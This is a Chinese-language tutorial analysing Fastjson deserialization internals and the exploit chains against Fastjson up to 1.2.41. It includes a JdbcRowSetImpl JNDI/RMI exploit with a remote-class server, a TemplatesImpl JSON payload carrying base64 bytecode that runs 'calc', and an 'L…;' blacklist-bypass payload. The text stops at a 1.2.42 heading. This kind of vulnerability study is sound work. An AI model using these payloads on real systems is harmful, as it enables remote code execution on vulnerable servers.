Fastjson反序列化
Fastjson介绍
fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
由于其特点是快,以性能为优势快速占领了大量用户,并且其 API 十分简洁,用户量十分庞大,这也就导致了这样的组件一旦爆出漏洞,危害也将会是巨大的,因此,fastjson 从第一次报告安全漏洞至今,进行了若干次的安全更新,也与安全研究人员进行了来来回回多次的安全补丁-绕过的流程。
Fastjson基础学习
fastjson主要通过将一个json格式的文件转为一个java的对象,或者将一个java对象转为一个json格式的对象,但是这里的转化是需要满足一定条件,不是所有的对象都可以直接转为json格式,其中转化的过程就是通过序列化和反序列化,当然这个就与原生的jdk版本没有太多关联,这个属于插件存在的漏洞
在fastjson进行转换时,必须需要类有一个无参构造方法,最好是通过java bean的格式进行书写,因为如果不是满足java bean则在对json反序列化为对象时可能会出现赋值问题,如果是private或者protected的属性就无法直接进行赋值给反序列化的对象,而如果是public类型的成员变量,就算没有setter方法,还是可以进行赋值的,会通过反射进行赋值
代码:
package org.example;
public class Main {
public String name;
public int age;
protected String sex;
public Main() {
}
public Main(String name, int age, String sex) {
this.name = name;
this.age = age;
this.sex = sex;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getSex() {
return sex;
}
public void setSex(String sex) {
this.sex = sex;
}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class text{
public static void main(String[] args) {
Main main = new Main();
main.setName("Bloyet");
String fastjson = JSON.toJSONString(main, SerializerFeature.WriteClassName);
System.out.println(fastjson);
Object main1 = JSON.parse(fastjson);
System.out.println(main1);
}
}

我们发现结果出现了@type字样
如果不使用SerializerFeature.WriteClassName,该方法默认将JSON字符串反序列化为一个JSONObject对象。
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class text{
public static void main(String[] args) {
Main main = new Main();
main.setName("Bloyet");
String fastjson = JSON.toJSONString(main);
System.out.println(fastjson);
Object main1 = JSON.parse(fastjson);
System.out.println(main1);
}
}

Fastjson调用简单分析
序列化
序列化过程其实没什么好看的,只要知道
获取属性值分为有无getter,如果没有getter方法,它就无法直接获取private属性或者protected属性,如果为public属性它就会看是否赋初始值,如果没有就表示默认值 有getter方法就getter方法优先
package org.example;
public class Main {
public String name;
public int age;
protected String sex;
public Main() {
}
public Main(String name, int age, String sex) {
this.name = name;
this.age = age;
this.sex = sex;
}
public String getName() {
System.out.println("调用了geName方法");
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
System.out.println("调用了getAge方法");
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getSex() {
System.out.println("调用了getSex方法");
return sex;
}
public void setSex(String sex) {
this.sex = sex;
}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class text{
public static void main(String[] args) {
Main main = new Main();
// main.setName("Bloyet");
String fastjson = JSON.toJSONString(main, SerializerFeature.WriteClassName);
// System.out.println(fastjson);
// Object main1 = JSON.parse(fastjson);
// System.out.println(main1);
}
}

从这个结果来看,也能知道它获取属性值的时候,是通过调用了getter方法
反序列化
Fastjson 使用 @type
来标识 JSON 数据中应该反序列化为哪个类。在 JSON 中,@type
字段通常包含了类的全限定名(类的完整路径),用于标识具体的类。
进源码分析:
断点打在这里

本质上还是调用的是parse方法,步入

继续调用parse方法,步入

使用传入的 text
和 features
创建一个 DefaultJSONParser
对象。ParserConfig.getGlobalInstance()
表示使用全局配置,确保解析器的行为符合统一的配置标准。DefaultJSONParser这个对象用于实际解析 JSON 文本。我们继续看parser.parse方法

继续步入

进入switch语句,token为12

JSONObject
类在 Java 中是处理和操作 JSON 数据的重要工具 ,我们继续跟进parseObject方法

这个方法里面的内容还挺多的,大致就是根据字符来进行逻辑判断,然后由逻辑判断走到处理方法 我们这里就看关键的@type


这里的JSON.DEFAULT_TYPE_KEY就是@type,进入if语句 进行类加载,接着看怎么加载的,步入loadClass方法

可以看到虽然是进行类加载,但是其实里面是没有内容的,相当于一个空壳,然后返回clazz,继续往下走

回到了DefaultJSONParser#parseObject方法,这里是获取解析器的地方,步入getDeserializer方法

这里判断了一下当前缓存中是否存在能够直接获取到解析该 json 数据的解析器,如果有就直接返回了,很显然我们这里没有,所以还需要跟进getDeserializer

这里的内容也很多,我们直接看createJavaBeanDeserializer方法,在这之前就是一些黑名单,和是否为数组,集合,Map,或者报错类,步入createJavaBeanDeserializer方法
public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
return derializer;
} else {
if (type == null) {
type = clazz;
}
ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
if (derializer != null) {
return (ObjectDeserializer)derializer;
} else {
JSONType annotation = (JSONType)clazz.getAnnotation(JSONType.class);
if (annotation != null) {
Class<?> mappingTo = annotation.mappingTo();
if (mappingTo != Void.class) {
return this.getDeserializer(mappingTo, mappingTo);
}
}
if (type instanceof WildcardType || type instanceof TypeVariable || type instanceof ParameterizedType) {
derializer = (ObjectDeserializer)this.derializers.get(clazz);
}
if (derializer != null) {
return (ObjectDeserializer)derializer;
} else {
String className = clazz.getName();
className = className.replace('$', '.');
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}
if (className.startsWith("java.awt.") && AwtCodec.support(clazz) && !awtError) {
try {
this.derializers.put(Class.forName("java.awt.Point"), AwtCodec.instance);
this.derializers.put(Class.forName("java.awt.Font"), AwtCodec.instance);
this.derializers.put(Class.forName("java.awt.Rectangle"), AwtCodec.instance);
this.derializers.put(Class.forName("java.awt.Color"), AwtCodec.instance);
} catch (Throwable var11) {
awtError = true;
}
derializer = AwtCodec.instance;
}
if (!jdk8Error) {
try {
if (className.startsWith("java.time.")) {
this.derializers.put(Class.forName("java.time.LocalDateTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.LocalDate"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.LocalTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.ZonedDateTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.OffsetDateTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.OffsetTime"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.ZoneOffset"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.ZoneRegion"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.ZoneId"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.Period"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.Duration"), Jdk8DateCodec.instance);
this.derializers.put(Class.forName("java.time.Instant"), Jdk8DateCodec.instance);
derializer = (ObjectDeserializer)this.derializers.get(clazz);
} else if (className.startsWith("java.util.Optional")) {
this.derializers.put(Class.forName("java.util.Optional"), OptionalCodec.instance);
this.derializers.put(Class.forName("java.util.OptionalDouble"), OptionalCodec.instance);
this.derializers.put(Class.forName("java.util.OptionalInt"), OptionalCodec.instance);
this.derializers.put(Class.forName("java.util.OptionalLong"), OptionalCodec.instance);
derializer = (ObjectDeserializer)this.derializers.get(clazz);
}
} catch (Throwable var10) {
jdk8Error = true;
}
}
if (className.equals("java.nio.file.Path")) {
this.derializers.put(clazz, MiscCodec.instance);
}
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Iterator var17 = ServiceLoader.load(AutowiredObjectDeserializer.class, classLoader).iterator();
while(var17.hasNext()) {
AutowiredObjectDeserializer autowired = (AutowiredObjectDeserializer)var17.next();
Iterator var8 = autowired.getAutowiredFor().iterator();
while(var8.hasNext()) {
Type forType = (Type)var8.next();
this.derializers.put(forType, autowired);
}
}
} catch (Exception var12) {
}
if (derializer == null) {
derializer = (ObjectDeserializer)this.derializers.get(type);
}
if (derializer != null) {
return (ObjectDeserializer)derializer;
} else {
if (clazz.isEnum()) {
derializer = new EnumDeserializer(clazz);
} else if (clazz.isArray()) {
derializer = ObjectArrayCodec.instance;
} else if (clazz != Set.class && clazz != HashSet.class && clazz != Collection.class && clazz != List.class && clazz != ArrayList.class) {
if (Collection.class.isAssignableFrom(clazz)) {
derializer = CollectionCodec.instance;
} else if (Map.class.isAssignableFrom(clazz)) {
derializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
derializer = new ThrowableDeserializer(this, clazz);
} else {
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
}
} else {
derializer = CollectionCodec.instance;
}
this.putDeserializer((Type)type, (ObjectDeserializer)derializer);
return (ObjectDeserializer)derializer;
}
}
}
}
}
createJavaBeanDeserializer方法
有很多关于 ASM 前置的检查,这个我们之后再看,JavaBeanInfo.build
开始正式构造 beanInfo,步入

build 方法本身是返回一个 JavaBeanInfo 列表,javaBeanInfo里面储存了即将反序列化bean中的set方法,get方法,无参构造方法,属性值等具体信息,这个方法里面有很多检查的东西,我们先不看,直接看最重要的3个for循环

第一个 for 循环是用来获取 set 方法,第二个 for 循环是用来获取字段属性,第三个 for 循环是在获取 get 方法

我们先具体看第一个for,有四个 if 判断
方法名长度大于4且以set开头,且第四个字母要是大写
非静态方法
返回类型为void或当前类
参数个数为1个
Method[] var30 = methods;
int var29 = methods.length;
Method method;
for(i = 0; i < var29; ++i) {
method = var30[i];
ordinal = 0;
int serialzeFeatures = 0;
parserFeatures = 0;
String methodName = method.getName();
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
Class<?>[] types = method.getParameterTypes();
if (types.length == 1) {
annotation = (JSONField)method.getAnnotation(JSONField.class);
if (annotation == null) {
annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
}
if (annotation != null) {
if (!annotation.deserialize()) {
continue;
}
ordinal = annotation.ordinal();
serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
parserFeatures = Feature.of(annotation.parseFeatures());
if (annotation.name().length() != 0) {
methodName = annotation.name();
add(fieldList, new FieldInfo(methodName, method, (Field)null, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, (JSONField)null, (String)null));
continue;
}
}
if (methodName.startsWith("set")) {
c3 = methodName.charAt(3);
String propertyName;
if (!Character.isUpperCase((char)c3) && c3 <= 512) {
if (c3 == 95) {
propertyName = methodName.substring(4);
} else if (c3 == 102) {
propertyName = methodName.substring(3);
} else {
if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
continue;
}
propertyName = TypeUtils.decapitalize(methodName.substring(3));
}
} else if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == Boolean.TYPE) {
isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
}
JSONField fieldAnnotation = null;
if (field != null) {
fieldAnnotation = (JSONField)field.getAnnotation(JSONField.class);
if (fieldAnnotation != null) {
if (!fieldAnnotation.deserialize()) {
continue;
}
ordinal = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
parserFeatures = Feature.of(fieldAnnotation.parseFeatures());
if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));
continue;
}
}
}
if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));
}
}
}
}
它最终会被 add 进 fieldInfo 数组,然后这里就没什么好看的了
走完这里就开始真正解析了,ASM 解析器的原因我们并不能看到具体的内容,直接看源码分析
当来到 createInstance 方法,它首先是实例化了一个空类,里面的属性值都为默认

调用setvalue方法,反射调用set方法

这里也就是利用点所在了
漏洞利用
由前面知道,在某些情况下进行反序列化时会将反序列化得到的类的构造函数、getter
方法、setter
方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在
简单利用:
在set方法下面插入弹计算器的命令
package org.example;
import java.io.IOException;
public class Main {
public String name="";
public int age;
protected String sex="";
public Main() {
}
public Main(String name, int age, String sex) {
this.name = name;
this.age = age;
this.sex = sex;
}
public String getName() {
System.out.println("调用了getName方法");
return name;
}
public void setName(String name) {
System.out.println("调用了setName方法");
this.name = name;
}
public int getAge() throws IOException {
System.out.println("调用了getAge方法");
return age;
}
public void setAge(int age) throws IOException {
System.out.println("调用了SetAge方法");
Runtime.getRuntime().exec("calc");
this.age = age;
}
public String getSex() {
System.out.println("调用了getSex方法");
return sex;
}
public void setSex(String sex) {
System.out.println("调用了setSex方法");
this.sex = sex;
}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.io.IOException;
public class text{
public static void main(String[] args) throws IOException {
Main main = new Main();
// main.setName("Bloyet");
String fastjson = JSON.toJSONString(main, SerializerFeature.WriteClassName);
System.out.println(fastjson);
Object main1 = JSON.parseObject(fastjson);
System.out.println(main1);
}
}

可以很清楚的看到,在序列化的时候就会自动调用getter方法,然后在反序列化的时候就都会调用
FastJson中的 parse()
和 parseObject()
方法都可以用来将JSON字符串反序列化成Java对象,parseObject()
本质上也是调用 parse()
进行反序列化的。但是 parseObject()
会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()
。所以进行反序列化时的细节区别在于,parse()
会识别并调用目标类的 setter
方法及某些特定条件的 getter
方法,而 parseObject()
由于多执行了 JSON.toJSON(obj)
,所以在处理过程中会调用反序列化目标类的所有 setter
和 getter
方法。
补充一下poc的写法
一般的,Fastjson反序列化漏洞的PoC写法如下,@type指定了反序列化得到的类
{
"@type":"xxx.xxx.xxx",
"xxx":"xxx",
...
}
Fastjson<=1.2.24利用链
这个版本 主要是有两个利用链JdbcRowSetImpl和Templateslmpl
JdbcRowSetImpl
我们先来分析JdbcRowSetImpl(结合JNDI注入)
JdbcRowSetImpl中有两个方法符合自动调用并且可以进行利用的:
JdbcRowSetImpl#setDataSourceName
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
JdbcRowSetImpl#setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
在JdbcRowSetImpl#setAutoCommit 中调用了connect()方法
JdbcRowSetImpl#connect
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
回顾一下InitialContext类的作用
InitialContext
提供了一个默认的上下文环境,允许应用程序在其中查找和绑定对象。
然后它还调用了lookup方法,参数还刚好就是我们在setDataSourceName方法中可以控制的,结合起来就可以进行JNDI注入了

JNDI+RMI
开启服务
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class JNDI_server {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Reference reference=new Reference("RMIHello","RMIHello","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/Bloyet",referenceWrapper);
}
}
然后在开启python服务
然后就是EXP
package org.example;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplEXP {
public static void main(String[] args) {
Object exp=JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/Bloyet\",\"AutoCommit\":true}");
}
}
基本上就是JNDI+RMI乱打,通过fastjson的反序列化冒充了我们之前的客户端
JNDI+LDAP
差不多JNDI可以利用的这里都是可以的,这里就不写了
TemplatesImpl
该链的利用面较窄,由于payload需要赋值的一些属性为private
类型,需要在parse()
反序列化时设置第二个参数Feature.SupportNonPublicField
,服务端才能从JSON中恢复private
类型的属性。
由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField
参数。
这个类就很熟悉了,我们之前在打cb链的时候也利用到了getter方法的特性进行类加载
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
我们还需要满足 _name
不为 null ,_tfactory
不为 null 这些都是CC3的内容了,这里就不多赘述
然后又因为在fastjson中我们传入的_bytecodes为bytes类型,而Fastjson在序列化的时候会将bytes类型进行base64编码,反序列化的时候就会进行解码,所以我们在传入字节码的时候还需要进行编码
编码:
package org.example;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class text2 {
public static void main(String[] args) throws ClassNotFoundException, IOException {
byte[] _bytecodess = Files.readAllBytes(Paths.get("H:\\http.class"));
String base64Encoded = Base64.getEncoder().encodeToString(_bytecodess);
System.out.println(base64Encoded);
}
}
json格式:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMdGV4dC9odHRwOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACWh0dHAuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAzAAoBAAl0ZXh0L2h0dHABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABgADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB0ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABIADAAQAA0AEQARABMADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw=="],"_tfactory":{ },"_name":"Bloyet","_outputProperties":{}}
EXP:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class TemplateImplEXP {
public static void main(String[] args) {
String EXP = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMdGV4dC9odHRwOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACWh0dHAuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAzAAoBAAl0ZXh0L2h0dHABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABgADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB0ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABIADAAQAA0AEQARABMADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==\"],\"_tfactory\":{ },\"_name\":\"Bloyet\",\"_outputProperties\":{}}";
Object TemplateEXP = JSON.parseObject(EXP,Object.class, Feature.SupportNonPublicField);
}
}

但是这里其实是有一些疑问的:
_bytecodes 原本得是二维数组,但是用二维数组去进行编码会先转换为一维数组在进行编码,这样打不通,需要直接就用一维数组直接编码
然后就是命名问题,之前在cb链的时候调用getter方法的时候_outputProperties这个属性是不能加下划线的,但是这里又可以,按我的理解是差不多的,都是自动调用getter方法,但是在fastjson里面这里加和不加都是可以打通的,下面这个是cb链的EXP

ai解释:

1.2.25-1.2.41绕过
先看它是怎么修复这个漏洞的,打的什么补丁
1.2.24 之后的第一次更新,官方引入checkAutoType
机制,默认情况下,autoTypeSupport 关闭,不能直接反序列化任意类。打开AutoType
之后是基于黑名单来实现安全检测的,fastjson 也提供了添加黑名单的接口
之前:

更新后:

发现多了一个checkAutoType方法,步入看看:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
第一个是开启autoTypeSupport状态
如果加载的类在白名单上,就直接加载,然后在进行黑名单遍历,如果有就直接报错,没有就正常运行
一个是关闭autoTypeSupport状态
先黑名单检查,然后在白名单检查,有就加载,没有就过
还有一个就是在经历过上面条件之后还没有return走,并且还开启了autoTypeSupport状态的
直接加载类
在这三个能类加载的地方,最有可能利用的就是第三个,但是要走到第三个还得走第一个,可以不在白名单上面,但是不能在黑名单上面,这里TypeUtils.loadClass方法,就存在一个漏洞了:

如果类是L开头,;结尾的就去掉,然后在进行类加载,这里就可以帮助我们绕过黑名单了
EXP:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class JdbcRowSetImplEXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object exp=JSON.parseObject("{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"rmi://localhost:1099/Bloyet\",\"AutoCommit\":true}");
}
}
这个EXP是得服务器把autoTypeSupport开启才能利用,但是默认情况下是关闭的
1.2.42绕过
